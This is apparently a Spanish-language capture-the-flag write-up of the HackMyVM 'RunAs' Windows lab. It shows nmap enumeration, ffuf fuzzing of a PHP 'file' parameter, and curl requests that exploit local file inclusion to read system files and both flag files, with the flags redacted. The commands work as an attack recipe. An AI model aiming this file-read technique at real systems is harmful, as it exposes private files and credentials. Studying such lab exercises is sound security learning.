cd ~/blog

~/writeups/hmv/117-runas.md

117 - RunAs

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
LFI (Local File Inclusion) en una aplicación PHP sobre WindowsArbitrary File Read sobre perfiles locales
hackmyvm.eu/machines/machine.php?vm=RunAs

~1 min de lectura


Enumeración de servicios

El escaneo identifica una máquina Windows 7 con Apache y PHP en el puerto 80, además de SMB y RDP. Como no disponemos de credenciales para los servicios remotos, comenzamos por la aplicación web:

❯ nmap -sCV -p 80,135,139,445,3389,5357,49152,49153,49154,49155,49156,49157 -oN 02-targeted.txt 192.168.1.35
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-28 19:16 -03
Nmap scan report for 192.168.1.35
Host is up (0.00045s latency).

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.57 ((Win64) PHP/7.2.0)
|_http-title: Index of /
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
...
Service Info: Host: RUNAS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Detección de la inclusión local de archivos

En el puerto 80, index.php muestra un parámetro file. El nombre sugiere que el servidor recibe una ruta y carga su contenido, por lo que comprobamos si valida o restringe el archivo solicitado:

There is no going back!
?file=

Fuzzeamos con rutas conocidas de Windows. -fw 68,70 descarta las respuestas con el número de palabras asociado a los errores de la aplicación y deja visibles las respuestas diferentes:

❯ ffuf -u 'http://192.168.1.35/index.php?file=FUZZ' -w ~/Documentos/wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -fw 68,70
...
C:/Windows/win.ini      [Status: 200, ...]
c:/php/php.ini          [Status: 200, ...]
c:/WINDOWS/WindowsUpdate.log [Status: 200, ...]
...

La lectura de win.ini, php.ini y WindowsUpdate.log confirma una LFI: la aplicación no limita el parámetro al directorio previsto y PHP devuelve archivos arbitrarios accesibles para la cuenta de Apache. En este escenario, la inclusión se utiliza como Arbitrary File Read y no como ejecución de código.

Enumeración de usuarios y lectura de las flags

En C:/WINDOWS/WindowsUpdate.log aparece el usuario runas. Con ese nombre podemos construir la ruta habitual de su escritorio y solicitar la flag directamente a través del mismo parámetro vulnerable:

❯ curl 'http://192.168.1.35/index.php?file=c:/users/runas/desktop/user.txt'
...
HMV{...}
...

❯ curl 'http://192.168.1.35/index.php?file=c:/users/administrator/desktop/root.txt'
...
HMV{...}
...

La cuenta del servicio web también puede leer el escritorio de Administrator, por lo que en esta máquina no es necesario obtener una shell ni escalar privilegios: la exposición de archivos ya alcanza ambos objetivos. Recuperamos las flags y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados